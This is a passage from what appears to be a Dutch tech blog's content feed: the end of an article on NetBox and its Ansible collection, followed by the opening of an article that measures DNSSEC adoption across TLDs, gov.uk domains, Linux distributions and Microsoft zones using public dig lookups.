op wat er niet in staat. Geen IP-adres. Je noemt het prefix en NetBox geeft het volgende vrije terug:\nTASK [Let NetBox pick the next free address out of the customer prefix] **** changed: [localhost] \u0026#34;device : mcr1-hv-07 (created)\u0026#34; \u0026#34;interface: eno1 (created)\u0026#34; \u0026#34;address : 10.20.22.1/24 (allocated)\u0026#34; En een seconde later staat het in de UI, nog aan niets gekabeld maar ingeracked, met tenant en geadresseerd:\nDe valkuil in dat playbook Laat het een tweede keer lopen zonder één regel te wijzigen en dit gebeurt:\n\u0026#34;device : mcr1-hv-07 (already correct)\u0026#34; \u0026#34;interface: eno1 (already correct)\u0026#34; \u0026#34;address : 10.20.22.2/24 (allocated)\u0026#34; Het apparaat en de interface zijn idempotent. Het adres niet, en dat is geen bug. state: present betekent “maak dat het er zo uitziet”. state: new betekent “geef me een nieuwe”, elke keer weer, en dat is precies wat het deed: twee adressen op één interface na twee runs.\nDat is prima als je echt iets nieuws uitrolt, en het eet stilletjes een prefix op als je het in een taak zet die elke nacht loopt. Geef één keer uit en leg het resultaat vast, of gebruik state: present met het adres dat je al hebt. De module doet wat je vroeg. De vraag is of je vroeg wat je bedoelde.\nHet is niet alleen Ansible De collection krijgt de aandacht omdat Ansible is waar de meeste netwerkteams al zitten, maar de API is het product en genoeg dingen spreken hem.\nDing Wat het is Licentie pynetbox De Python-client die de collection zelf gebruikt Apache 2.0 terraform-provider-netbox NetBox-objecten als Terraform-resources beheren, actief onderhouden door e-breuninger MPL 2.0 nornir_netbox NetBox als Nornir-inventaris, voor wie Python doet in plaats van YAML Apache 2.0 Prometheus SD Levert Prometheus zijn scrape-targets uit NetBox MIT go-netbox Een Go-client, al is er sinds mei 2025 niet aan geraakt zie repository Diode NetBox Labs\u0026rsquo; eigen ingestion-pijplijn om ontdekte data naar binnen te duwen NetBox Limited Use Die Terraform-regel is de interessante voor wie zijn infrastructuur al zo beheert, want hij laat één plan de cloudresource en het NetBox-record dat hem documenteert aanmaken, in plaats van de tweede helft aan iemands geheugen te laten.15\nDiode draagt dezelfde licentie als Branching en Custom Objects, dus dezelfde lezing geldt voordat je erop bouwt.\nWat die middag echt koopt Alles hierboven kostte me een dag op één machine, en het grootste deel van die dag ging op aan data zaaien zodat de schermen iets bevatten. De installatie is twintig minuten, welke route je ook neemt. De beslissingen zijn het deel dat uitmaakt en ze worden allemaal in het eerste uur genomen: tenants voor alles, apparaattypes voor apparaten, de cijfers op de types in plaats van op de apparatuur.\nWat je daarvoor krijgt is geen documentatie. Dat onderscheid maakt niemand voordat hij beide heeft gehad: documentatie is iets wat je schrijft en daarna niet meer onderhoudt. Wat je krijgt is een database die weigert een tegenspraak te bevatten: hij laat je geen twee dingen in één rack-unit zetten, of een rack in een locatie die bij een andere site hoort, of een apparaat op een type dat niet bestaat. Elk van die weigeringen is een discussie die je over zes maanden niet hebt.\nEn het vertelt je dingen die niemand heeft gevraagd. Die kast zit 28,6% vol met apparatuur en 90,7% vol met stroom. Niemand was dat gaan zoeken. Het viel eruit omdat er één keer een wattage op een apparaattype is gezet, en het is het verschil tussen de volgende order daar inracken en het op de harde manier ontdekken.\nDe eerlijke kanttekening is dezelfde die elke source of truth heeft. Hij is alleen waard wat het je kost om hem juist te houden, en de enige versie hiervan die een druk kwartaal overleeft is die waarin er zichtbaar iets stukgaat als de data verkeerd is. Knoop je monitoring, je provisioning of je firewallregels eraan vast zodat ze eruit lezen, en een verkeerde invoer is geen documentatieprobleem meer waar iemand ooit aan toekomt. Het wordt een storing om half tien op een dinsdag, met een naam eraan. Dat klinkt als een kostenpost. Het is het hele mechanisme.\nNiemand gaat je er ook voor bedanken. Een juist record laat zich zien als de migratie die veertien dagen duurde in plaats van een kwartaal, de audit die een middag duurde, de klant die aan de telefoon een recht antwoord kreeg. Niets daarvan verschijnt in een rapport naast je naam.\nDoe het toch. Het alternatief is een bedrijf dat zichzelf niet kan beschrijven, en een bedrijf dat zichzelf niet kan beschrijven wordt niet geleid. Het wordt herinnerd, door elk jaar minder mensen.\nNetBox, Introduction — “Today, the open source project is stewarded by NetBox Labs and a team of volunteer maintainers”, en de herkomst bij DigitalOcean in 2015, open source sinds juni 2016.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, LICENSE.txt — Apache License 2.0, copyright DigitalOcean, LLC. Herkomst en beheer uit de inleiding.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nReleasenotes van Nautobot v1.0.0 — “a divergent fork of NetBox 2.10”, gepubliceerd op 26 april 2021, en de lijst van wat het toevoegde ten opzichte van NetBox 2.10.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetwork to Code, “Why Did Network to Code Fork NetBox?”, 25 februari 2021 — de redenering over SLA\u0026rsquo;s en langetermijnondersteuning, de uiteenlopende visie, en “the NetBox project team suggested that we should consider forking”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Labs is in 2023 opgericht als spin-out uit NS1 na de overname door IBM, mede-opgericht door NetBox\u0026rsquo; lead maintainer Jeremy Stretch, en kondigde in april 2023 een Series A van 20 miljoen dollar aan: NetBox Labs, “Let\u0026rsquo;s Go: Announcing NetBox Labs” en de aankondiging van de Series A.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Labs, NetBox Enterprise — de zelfbeheerde commerciële editie, met “24/7 expert assistance from the NetBox Labs team”; NetBox Cloud is het gehoste aanbod. Concrete SLA-voorwaarden staan niet op die pagina.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAantallen sterren en forks, releasedata en licenties van beide projecten op 30 september 2026 via de GitHub-API afgelezen: netbox-community/netbox en nautobot/nautobot. Nautobots parallelle releases 3.2.x en 2.4.x zijn beide gedateerd 28 september 2026.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetbox-community/netbox-docker — de container-stack van de community, Apache 2.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, Installation — de tabel met ondersteunde versies, en de releasenotes van v4.7 voor de verhoogde minima van PostgreSQL en Redis. Versie en editie afgelezen uit netbox/release.yaml.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Limited Use License 1.0 — gedragen door netbox-custom-objects en, identiek, door netbox-branching. Beide geciteerde clausules zijn letterlijk.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, HTTP Server installation, “What\u0026rsquo;s Next?” — “Some of the most popular plugins include” NetBox Branching, NetBox Custom Objects, NetBox DNS en NetBox BGP, zonder enige vermelding van licentievoorwaarden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, Data Validation configuration — FIELD_CHOICES, en het plus-achtervoegsel dat uitbreidt in plaats van vervangt: “To replace the available choices, specify the app, model, and field name separated by dots \u0026hellip; To extend the available choices, append a plus sign”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDocumentatie van netboxlabs/netbox-custom-objects — “Deleting a Custom Object Type drops an entire database table and should be done with caution.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetbox.netbox op Ansible Galaxy en netbox-community/ansible_modules — versie 3.23.0, GPL-3.0, 91 modules plus de inventory-plugin nb_inventory. Downloadaantal op 30 september 2026 op Galaxy afgelezen. Alles wat is getoond liep met ansible-core 2.21.4 en pynetbox 7.8.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLicenties, activiteit en aantallen sterren op 30 september 2026 bij elk project afgelezen: pynetbox (Apache 2.0), terraform-provider-netbox (MPL 2.0, v6.0.0-rc.1 in het Terraform-register), nornir_netbox (Apache 2.0), netbox-plugin-prometheus-sd (MIT), go-netbox (laatste push 9 mei 2025) en Diode, dat dezelfde NetBox Limited Use License 1.0 draagt als Branching en Custom Objects.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/netbox/what-is-netbox/","summary":"Een praktische rondgang door NetBox 4.7.2 met een echt bestand erin geladen in plaats van een lege demo. Wat elk scherm bevat en wat je ermee doet: rack-elevaties, kabelsporen, de IPAM-boom, dual-stack interfaces, en de kast die 90,7 procent vol blijkt te zitten met stroom terwijl hij maar 28,6 procent vol zit met apparatuur. Hoe je er een opzet als container-stack en op een host uit de pakketten, beide van begin tot eind doorlopen. De volgorde waarin je het moet vullen, afgeleid uit welke foreign keys echt verplicht zijn. Hoe één installatie in klanten wordt opgedeeld, zodat het apparaat van een andere klant 404 teruggeeft en een niet-toegekend objecttype 403. Config contexts en de overerving die ze meer waard maakt dan custom fields. Je eigen waarden toevoegen aan NetBox\u0026rsquo; eigen statusmenu\u0026rsquo;s. Drie manieren om het object toe te voegen waar jouw bedrijf van leeft, waaronder een datastore zonder één regel code. Hoe je validatieregels en validatorklassen schrijft zodat de database weigert wat jouw huisstandaard verbiedt. En het verhaal van de fork uit 2021 waar Nautobot uit kwam, waar die voor was en wat sindsdien naar elkaar toe is gegroeid. Plus het besturen van het geheel vanuit de Ansible-collection netbox.netbox, waar de inventaris een query is en geen bestand, en waar één module-argument bij elke run stilletjes een nieuw adres uitdeelt.","title":"NetBox: wat erin zit, en hoe je het jouwe erin krijgt"},{"content":"Elke naam die je machine vandaag opzocht, geloofde hij. Je bank, je updates, je mailserver. Er kwam een antwoord van het netwerk terug en nergens controleerde iets of het kwam van de organisatie die de naam bezit of van wie als eerste een pakket wist te plaatsen. Op een gewoon DNS-antwoord staat geen handtekening, er valt niets te verifiëren, en er is niets dat het zou merken als er iets mis was. Dat was een redelijk ontwerp in 1983 en het is dat al heel lang niet meer.\nDNSSEC is precies daarvoor de oplossing, en het is niet nieuw en niet duur. De eigenaar van de zone ondertekent zijn records. De zone erboven publiceert een hash van hun sleutel en ondertekent die, en zo verder omhoog, tot de keten uitkomt bij één rootsleutel die je resolver van geboorte af aan kent. Alles wat de keten controleert kan een echt antwoord van een vervalst antwoord onderscheiden. Het is sinds 2005 een standaard, de root is sinds juli 2010 ondertekend, en de registries publiceren de records voor niks.1 2\nDe top van de boom is af. Ik heb voor dit stuk de live rootzone geteld en 1.351 van de 1.438 topleveldomeinen zijn ondertekend, alle 1.038 generieke erbij. Daarna valt het van een klif. Van de 2.390 gov.uk-domeinen die nog resolven zijn er negenendertig ondertekend, en negen daarvan zijn dorpsraden. MI6 kreeg het voor elkaar. Het National Cyber Security Centre niet.\nDit is wat een vervalst antwoord werkelijk kost en wat ondertekenen daaraan doet, geteld in de live rootzone op 27 september 2026 en verder omlaag door de overheid, de banken, de distributies waarvan je installeert en de certificaatautoriteiten. Eén commando per domein, niemands toestemming nodig, en elke naam vermeld zodat je het met mijn keuzes oneens kunt zijn in plaats van met mijn rekenwerk. Daaronder ligt de vraag die ik eigenlijk beantwoord wilde zien. Tweeënveertig jaar nadat Mockapetris DNS opschreef: is de reden dat vrijwel niemand ondertekent dat vrijwel niemand ooit begreep wat DNS beloofde?\nWat DNSSEC is, en waar het voor dient In één zin: DNSSEC zet een cryptografische handtekening op DNS-antwoorden, zodat een resolver kan bewijzen dat een antwoord van de eigenaar van de zone kwam en niet van wie toevallig als eerste antwoordde.\nHet is geen versleuteling, geen firewall en geen filter. Het is een handtekening en een sleutelketen die teruggaat naar één sleutel die je resolver al vertrouwt. Dat is het hele idee.\nNu de aanval, want het protocol slaat pas ergens op als je hebt gezien waar het voor dient.\nEen resolver die om een naam vraagt stuurt een query en wacht. Het antwoord wordt gematcht op een handvol velden: de querynaam, het type, de bron- en bestemmingsadressen en -poorten, en een transactie-ID van 16 bit. Wie een pakket kan produceren dat op die velden past, vóórdat het echte antwoord er is, wint. De resolver cachet de vervalsing en geeft hem aan elke client die erom vraagt, zolang als de aanvaller heeft gezegd.\nHet werk van Dan Kaminsky uit 2008 is wat iedereen zich half herinnert.3 Wat ertoe doet is niet dat cachevergiftiging bestond, want dat was er al jaren voor bekend. Het is dat hij een manier vond om de gok eindeloos te herhalen. Vraag om een naam die niet bestaat, en elke mislukte poging kost niets en laat je meteen opnieuw proberen, dus de aanvaller racet niet langer één keer tegen een gecacht record dat een dag meegaat. Het antwoord van de industrie was willekeur toevoegen: willekeurige bronpoorten bovenop het willekeurige transactie-ID, wat de gok van één op 65.536 naar ongeveer één op twee miljard bracht.\nDat is een groter getal. Het is geen bewijs.\nDe resolver matcht op velden die een aanvaller kan raden ZONDER ONDERTEKENING: EERSTE PASSENDE PAKKET WINT resolver vraagt, wacht dan de echte server antwoordt wanneer het uitkomt off-path-aanvaller hoeft alleen als eerste te zijn Het wordt geaccepteerd als vijf velden passen, en elk daarvan is te raden: naam · type · adressen · bronpoort · 16-bit transactie-ID MET ONDERTEKENING: HET ANTWOORD DRAAGT HET BEWIJS Een handtekening die ketent naar de ene rootsleutel die de resolver al had. Raden levert er geen op. De resolver matcht op velden die een aanvaller kan raden. Ondertekenen vervangt raden door rekenwerk En de mitigatie brokkelt sindsdien af, want elk van die velden is een gok die moeilijker is gemaakt in plaats van een feit dat controleerbaar is gemaakt. Poortwillekeur wordt ongedaan gemaakt door een NAT die poorten voorspelbaar herschrijft. Fragmentatie-aanvallen omzeilen het matchen volledig. Off-path-aanvallen blijven in nieuwe vormen terugkomen, en elke vorm krijgt zijn eigen pleister.\nOndertekenen beëindigt de discussie. Een ondertekend antwoord verifieert tegen een sleutel die de resolver aan de root kan ketenen, of het doet dat niet, en geen hoeveelheid raden levert een aanvaller een geldige handtekening op.\nWat het winnen van die race ze werkelijk oplevert Wees er concreet over, want “cachevergiftiging” klinkt abstract en de gevolgen zijn dat niet.\nWat ze vervalsen Wat ze krijgen Het A-record van je site Verkeer, en een inlogformulier dat op het jouwe lijkt Je MX-records Alle inkomende e-mail, wachtwoordherstel inbegrepen De naam waartegen een certificaatautoriteit valideert Een geldig certificaat voor een domein dat niet van hen is De naam waarvandaan je machines updates ophalen Er komt niets binnen, en niemand krijgt het te horen Je NS-delegatie Alles hierboven tegelijk, zolang als de TTL zegt De derde rij maakt van een DNS-probleem een certificaatprobleem. Domeingevalideerde uitgifte werkt door jou te vragen een record te publiceren en dat vervolgens op te zoeken. Kan een aanvaller sturen wat de CA tijdens die lookup te zien krijgt, dan geeft de CA hem echte papieren voor jouw naam, en daarna is het slotje in de browser van hem. Alles wat een gebruiker is geleerd te controleren zal zeggen dat de site in orde is.\nDe vierde rij is de stille. Een vervalst antwoord hoeft niemand ergens heen te sturen. Een updatedienst naar een zwart gat wijzen is genoeg, en niets in de stack is gebouwd om te schreeuwen over updates die nooit aankwamen.\nWat ondertekenen daaraan doet Het mechanisme is eenvoudiger dan zijn reputatie.\nElke ondertekende zone heeft een sleutelpaar. De eigenaar van de zone ondertekent elke recordset met de private helft en publiceert er een RRSIG naast. De publieke helft komt als DNSKEY in de zone te staan. Tot zover bewijst dit niets, want een aanvaller die een A-record kan vervalsen kan er een DNSKEY bij vervalsen.\nWat het dichttimmert is het DS-record, en de DS staat in de bovenliggende zone, niet in die van jou. Het is een hash van jouw sleutel, gepubliceerd en ondertekend door de zone erboven. Dus uk staat garant voor jouw sleutel, de root staat garant voor uk, en je resolver kende van geboorte af precies één ding: de sleutel van de root.2\nElke ouder staat garant voor zijn kind, en één ontbrekende DS breekt alles eronder HET ENE DING DAT EEN RESOLVER VAN GEBOORTE AF KENT de rootsleutel meegeleverd met de resolver Al het andere wordt geleerd door te vragen, en bewezen door het niveau erboven. DS voor uk uk ondertekend, de root staat ervoor garant DS voor jouw zone damiendye.uk ondertekent zijn records met RRSIG Een DS is een hash van de sleutel van het kind, gepubliceerd en ondertekend door de ouder. Dus alleen de ouder kan jou in de keten zetten. Jij niet. EN ALS ER ÉÉN DS ONTBREEKT De keten stopt daar. Alles eronder is onverifieerbaar, hoe zorgvuldig de zone daaronder ook is ondertekend. Elke ouder staat garant voor zijn kind, en één ontbrekende DS breekt alles eronder Drie recordtypes doen het werk, en je wilt weten welke welke is, want maar één ervan is andermans werk:\nRecord Staat in Zegt DNSKEY jouw zone dit is mijn publieke sleutel RRSIG jouw zone dit is mijn handtekening over deze recordset DS de zone van je ouder ik sta garant voor die sleutel Je kunt de eerste twee de hele middag in je eentje publiceren en er verandert niets. Tot de ouder een DS publiceert ben je een ondertekende zone die niemand kan verifiëren, en dat komt op hetzelfde neer als een niet-ondertekende zone met extra werk erin.\n$ dig +short @127.0.0.53 uk DS 43876 8 2 A107ED2AC1BD14D924173BC7E827A1... $ dig +short @127.0.0.53 damiendye.uk DS 2371 13 2 A5B2825C57899A5A15EE9703832C8358E0D19EF29DC72DD83C691ED77C33BD7F $ dig +short @127.0.0.53 bbc.co.uk DS (nothing) In het midden staat de eigen zone van deze site. uk staat er garant voor, algoritme 13 is ECDSA P-256, en een validerende resolver kan elk antwoord erover terugbewijzen tot aan de root. bbc.co.uk geeft niets terug, dus dat kan daar niet.\nEén commando vertelt je of een zone in de vertrouwensketen zit. Publiceert de ouder geen DS voor je, dan ben je niet ondertekend, wat je verder ook hebt geconfigureerd, en een validerende resolver behandelt elk antwoord over jouw domein als onverifieerbaar.\nDat ene record is de hele test.\nWat het niet doet Het is goed dat ronduit te zeggen, want overdrijven is de halve reden dat mensen het wantrouwen.\nHet doet niet Omdat Iets versleutelen Elke naam die je opzoekt gaat nog steeds onversleuteld over de lijn. Daar is DNS over TLS voor, en ze vervangen elkaar niet Een gecompromitteerde zone veilig maken Een aanvaller die jouw DNS-beheer bezit ondertekent zijn vervalsingen doodleuk met jouw sleutel De laatste hop beschermen Tussen een validerende resolver en de applicatie, tenzij die hop ook vertrouwd is Voorkomen dat een naam je wordt afgenomen Een registrar of een rechter kan dat nog steeds doen, en de handtekening blijft ondertussen keurig geldig Iets over de inhoud zeggen Een ondertekend antwoord is authentiek, niet eerlijk. Malware kan zijn zone ook ondertekenen, en doet dat Over die laatste rij struikelen mensen. DNSSEC bewijst dat het antwoord kwam van wie de zone beheert. Het heeft geen enkele mening over de vraag of die partij deugt.\nHet doet precies één ding. Het maakt het vervalsen van een antwoord rekenkundig onhaalbaar in plaats van slechts onwaarschijnlijk.\nHoe je elke zone controleert, ook die van iemand anders Dit is het deel dat de rest van dit stuk mogelijk maakt, en het kost één commando.\nEen zone zit in de vertrouwensketen als zijn ouder een DS voor hem publiceert. Dat is de hele test, en je kunt hem tegen iedereen draaien, zonder toestemming, vanaf elke machine:\ndig +short damiendye.uk DS Iets terug betekent ondertekend. Niets terug betekent niet ondertekend, wat de zone verder ook geconfigureerd heeft.\nWil je meer dan een ja of nee, dan zijn er nog drie het kennen waard:\nCommando Vertelt je dig +short \u0026lt;zone\u0026gt; DS Staat de ouder überhaupt garant voor deze zone delv @1.1.1.1 \u0026lt;zone\u0026gt; A Valideert de keten van begin tot eind, en zo niet, waar hij breekt resolvectl query \u0026lt;zone\u0026gt; Wat een validerende resolver concludeert, met het oordeel uitgeschreven dig +dnssec \u0026lt;zone\u0026gt; SOA De RRSIG en zijn vervaldatum, en dat laatste is het ding om te bewaken Twee valkuilen voordat je je eigen resultaten vertrouwt, want ze hebben me allebei te pakken gehad.\ndig +short … DS drukt een CNAME-keten af als de naam een alias is, en een hostnaam met cijfers erin lijkt genoeg op een DS-record om een naïef script om de tuin te leiden. Een echte DS heeft vier velden: key tag, algoritme, digesttype, hex-digest. Match op die vorm, of je telt niet-ondertekende zones als ondertekend.\nEen DS onder een niet-ondertekende ouder betekent niets. De keten moet de root bereiken. update.microsoft.com heeft een DS, en microsoft.com niet, dus de tak is hoe dan ook onverifieerbaar. Controleer altijd het hele pad, niet één niveau.\nAlles in de rest van dit stuk is zo gemeten. Geen scanner, geen dashboard van een derde, geen ranglijst van een leverancier. Vraag de ouder of hij garant staat voor het kind, en eis dat het antwoord als een DS parseert.\nDe rootzone is af Hier is de heersende wijsheid simpelweg verouderd. Mensen praten nog steeds over DNSSEC alsof de infrastructuur het probleem is.\nIk heb de live rootzone opgehaald op 27 september 2026, serial 2026092701, en de delegaties geteld tegen de DS-records.4\ndelegaties ondertekend aandeel gTLD\u0026rsquo;s (.com, .org, .dev, de hele mikmak) 1.038 1.038 100% IDN-TLD\u0026rsquo;s 151 136 90,1% ccTLD\u0026rsquo;s 248 176 71,0% arpa 1 1 100% Totaal 1.438 1.351 93,9% Elk generiek topleveldomein is ondertekend. Alle 1.038, zonder uitzondering, omdat ICANN\u0026rsquo;s Registry Agreement het eist van alles wat onder het nieuwe gTLD-programma is gedelegeerd. De 87 die niet ondertekend zijn, zijn vrijwel allemaal landcodes, en de lijst bestaat grotendeels uit kleine gebieden en een handvol staten:\nae ao aq ba bb bo bs cd cf cg ck cu cv cw do eg fk gb gf gh gm gp gq gt gu hm im iq jm jo kh km kn kp mh mk mo mp mq mt mv mw mz ne ni np nr om pa pf pk pn ps qa sd sl sm so st sv sy sz td tg tj tk to va vg vi ye zw gb staat erbij, wat eerder een curiositeit is dan een probleem, want niemand doet er iets mee. Net als het Vaticaan, Noord-Korea, Cuba en Syrië. Net als tk, dat jarenlang de grootste bron van gratis domeinen op internet was en daarmee een betrouwbare bron van misbruik.\nDus de top van de boom is klaar. De registries deden het moeilijke deel, het dure deel en het deel dat internationale coördinatie vroeg, en maakten het af. Wat er onder dit punt gebeurt, valt dus niet op de infrastructuur te schuiven.\nVierennegentig procent aan de top, anderhalf aan de onderkant DE KETEN IS GEBOUWD de root ondertekend sinds 2010 1.351 van 1.438 TLD's elke gTLD, geen uitzondering de naam die mensen echt intypen en hier stopt het AANDEEL ONDERTEKEND, GETELD OP 27 SEPTEMBER 2026 TLD's in de root 93,9% Linux- en BSD-distro's 29% Britse banken 27% Pakketregisters 18% Microsoft-zones 15% Certificaatautoriteiten 11% elk gov.uk-domein 1,63% 39 ondertekend, van de 2.390 in het officiële register die nog resolven Geteld, niet geschat. De keten is helemaal tot aan het TLD gebouwd en daarna gebruikt niemand hem En dan houdt het abrupt op Onder het TLD keert het beeld volledig om.\nIk heb voor elke verzameling hieronder op dezelfde manier gemeten: vraag de ouder om een DS, accepteer alleen een record dat ook werkelijk als een DS parseert. Alles hier is geteld op 27 september 2026.\nWat Ondertekend Aandeel TLD\u0026rsquo;s in de rootzone 1.351 / 1.438 93,9% Linux- en BSD-distributies 19 / 96 20% Britse banken en bouwfondsen 13 / 98 13% Pakketregisters en toeleveringsketen 4 / 22 18% Microsofts zones 4 / 26 15% Certificaatautoriteiten 1 / 9 11% Elk gov.uk-domein dat nog resolvet 39 / 2.390 1,63% Vierennegentig procent aan de top. Anderhalf procent aan de onderkant. De vertrouwensketen is een ketting met het ene uiteinde aan de muur geschroefd en het andere op de vloer.\nEen woord over de methode, want een getal dat zo slecht is verdient er een. De gov.uk-rij is een telling en geen steekproef: het is elk tweedeniveaudomein in het eigen gepubliceerde register van de overheid, gefilterd op de 2.390 die nog resolven. De andere rijen zijn samengestelde lijsten van de organisaties waarvan vervalsing werkelijk pijn zou doen, wat een oordeel is, en ik heb elke naam erin hieronder vermeld zodat je het met mijn keuzes oneens kunt zijn in plaats van met mijn rekenwerk.\nDe overheidstelling: 39 van de 2.390 De officiële lijst met gov.uk-domeinen die de overheid publiceert telt 3.004 tweedeniveaunamen. Daarvan resolven er nog 2.390. Negenendertig zijn ondertekend.\nVoor de details, één ding over dat register. De meest recente versie die gov.uk publiceert is gedateerd 1 oktober 2016.5 Tien jaar oud, voor de gezaghebbende lijst van de domeinen waarop de Britse staat antwoordt. Dat is een eigen kleine bevinding en daar laat ik het bij.\nKijk nu naar welke negenendertig.\nOndertekend Niet ondertekend mi6.gov.uk, sis.gov.uk gchq.gov.uk, mi5.gov.uk nationalcrimeagency.gov.uk ncsc.gov.uk, cyberessentials.ncsc.gov.uk cheltenham.gov.uk, cotswold.gov.uk, somerset.gov.uk, waverley.gov.uk, southribble.gov.uk, sedgemoor.gov.uk, fdean.gov.uk, westoxon.gov.uk birmingham.gov.uk, manchester.gov.uk, leeds.gov.uk, glasgow.gov.uk, sheffield.gov.uk, liverpool.gov.uk, bristol.gov.uk, cardiff.gov.uk, edinburgh.gov.uk, belfast.gov.uk peakdistrict.gov.uk, snowdonia-npa.gov.uk, eryri-npa.gov.uk hmrc.gov.uk, dvla.gov.uk, dwp.gov.uk, nhs.uk, homeoffice.gov.uk, mod.uk, parliament.uk negen dorps- en gemeenteraden companieshouse.gov.uk, landregistry.gov.uk, police.uk, met.police.uk, tfl.gov.uk, ons.gov.uk Lees die eerste kolom nog eens. De geheime inlichtingendienst heeft zijn zone ondertekend. Het National Cyber Security Centre niet.\nGCHQ evenmin, en dat is de moederorganisatie van het NCSC zelf. De Cyber Essentials-regeling evenmin, die bestaat om te certificeren dat de beveiliging van anderen toereikend is. Ik ga niet doen alsof dat iets anders is dan opmerkelijk.\nEn negen van de negenendertig zijn dorps- en gemeenteraden. Abinger. Aldenham. Ashmansworth. Wheathampstead. Frampton on Severn. Plaatsen met een secretaris, een parttime website en een budget waar in Whitehall geen dag advieswerk van betaald kan worden. Zij kregen het voor elkaar. HMRC, dat de belastinggegevens van elke volwassene in het land beheert, niet.\nMag ik vragen wat er in het proces dat toelaat. Niet wie: wat. Want het NCSC publiceert richtlijnen waarin het anderen vertelt DNSSEC uit te rollen, en de dienst die de richtlijn schrijft heeft niet gedaan wat de richtlijn zegt. Of het is belangrijk, en dan had het orgaan dat dat zegt het jaren geleden moeten doen, of het is dat niet, en dan moet de richtlijn dát zeggen.\nHet excuus dat aangeboden zal worden is schaal en legacy. Dat overleeft de eerste kolom niet. somerset.gov.uk is een eenheidsgemeente die 580.000 mensen bedient en hij is ondertekend. birmingham.gov.uk is een eenheidsgemeente die 1,1 miljoen mensen bedient en hij is het niet. Hetzelfde land, dezelfde registry, dezelfde registrars, hetzelfde geld beschikbaar voor dezelfde leveranciers. De een deed het.\nDe software waarvan je updates haalt Dit is het deel dat je meer zorgen zou moeten baren dan de banken, en het is het deel dat vrijwel niemand meet.\nElke machine die je draait haalt op gezette tijden code ergens vandaan, en dat ergens vindt hij door het aan DNS te vragen.\nNegenennegentig distributies en BSD\u0026rsquo;s, waarvan er zesennegentig nog resolven. Negentien zijn ondertekend.\nOndertekend (19) debian.org, fedoraproject.org, opensuse.org, gentoo.org, almalinux.org, artixlinux.org, cachyos.org, garudalinux.org, getsol.us, linuxmint.com, q4os.org, system76.com, tails.net, whonix.org, freebsd.org, netbsd.org, hardenedbsd.org, midnightbsd.org, opnsense.org De grote commerciële ubuntu.com, canonical.com, redhat.com, suse.com, oracle.com, rockylinux.org, centos.org, eurolinux.com Ubuntu-smaken kubuntu.org, xubuntu.org, lubuntu.me, ubuntustudio.com, ubuntukylin.com Arch-familie archlinux.org, arcolinux.com, endeavouros.com, manjaro.org, blackarch.org Onafhankelijk en minimaal alpinelinux.org, voidlinux.org, nixos.org, devuan.org, slackware.com, antixlinux.com, mxlinux.org, puppylinux.com, tinycorelinux.net, slitaz.org, porteus.org, funtoo.org, calculate-linux.org Desktopgericht zorin.com, elementary.io, deepin.org, uniontech.com, bodhilinux.com, peppermintos.com, sparkylinux.org, neon.kde.org, nobaraproject.org, ultramarine-linux.org, vanillaos.org, solus-project.com Beveiliging en privacy kali.org, parrotsec.org, qubes-os.org, backbox.org, pentoo.ch, trisquel.info, pureos.net, hyperbola.info, dragora.org Regionaal en van de staat altlinux.org, astralinux.ru, rosa.ru, openkylin.top, openeuler.org, opencloudos.org, openanolis.cn, mageia.org, openmandriva.org, pclinuxos.com Embedded, immutable, appliance openwrt.org, dd-wrt.com, librecmc.org, raspberrypi.com, armbian.com, flatcar.org, talos.dev, bottlerocket.dev, truenas.com, pfsense.org BSD openbsd.org, dragonflybsd.org, ghostbsd.org En de twee die het meest tellen kernel.org, gnu.org Negentien van de zesennegentig. En de namen in die niet-ondertekende lijst zijn niet obscuur: Ubuntu, Red Hat, SUSE, Oracle, Arch, Alpine, NixOS, Rocky, elke Ubuntu-smaak, en zowel kernel.org als gnu.org.\nVan de beveiligings- en privacydistributies verwachtte ik dat ze anders zouden zijn, en dat zijn ze grotendeels niet. Tails en Whonix hebben ondertekend, wat past. Kali, Parrot, Qubes, Trisquel en PureOS niet, wat niet past. OpenBSD heeft in vijfentwintig jaar een reputatie opgebouwd met het precies goed doen van deze klasse dingen en heeft openbsd.org niet ondertekend, terwijl FreeBSD, NetBSD, HardenedBSD en MidnightBSD dat allemaal wel hebben.\nDe pakketregisters komen dicht bij een schone veeg in de verkeerde kolom: npm, crates.io, RubyGems, Packagist, Docker Hub en Quay zijn allemaal niet ondertekend. pypi.org is de uitzondering, en eer wie eer toekomt, want het is ook een van de meest aangevallen.\nMicrosoft, en het updatekanaal Vier van de zesentwintig Microsoft-zones zijn ondertekend, en ze zitten allemaal in één hoek van de omgeving:\nOndertekend Niet ondertekend live.com, outlook.com, office.com, office365.com microsoft.com, windows.com, windowsupdate.com, update.microsoft.com azure.com, azurewebsites.net, microsoftonline.com, windows.net github.com, npmjs.com, linkedin.com, visualstudio.com, xbox.com, bing.com De Outlook- en Office-namen zijn ondertekend en verder niets, wat eruitziet als de beslissing van één team in plaats van die van een bedrijf. Let op wat er in de rechterkolom naast de updatedienst staat: github.com en npmjs.com, twee van de grootste distributiepunten voor code op internet, allebei van Microsoft, allebei niet ondertekend.\n$ dig +short @127.0.0.53 windowsupdate.com DS (nothing) $ dig +short @127.0.0.53 microsoft.com DS (nothing) $ dig +short @127.0.0.53 com DS 19718 13 2 8ACBB0CD28F41250A80A491389424... com is ondertekend, dus er staat technisch niets in de weg. Microsoft zou vanmiddag een DS kunnen publiceren.\nHet 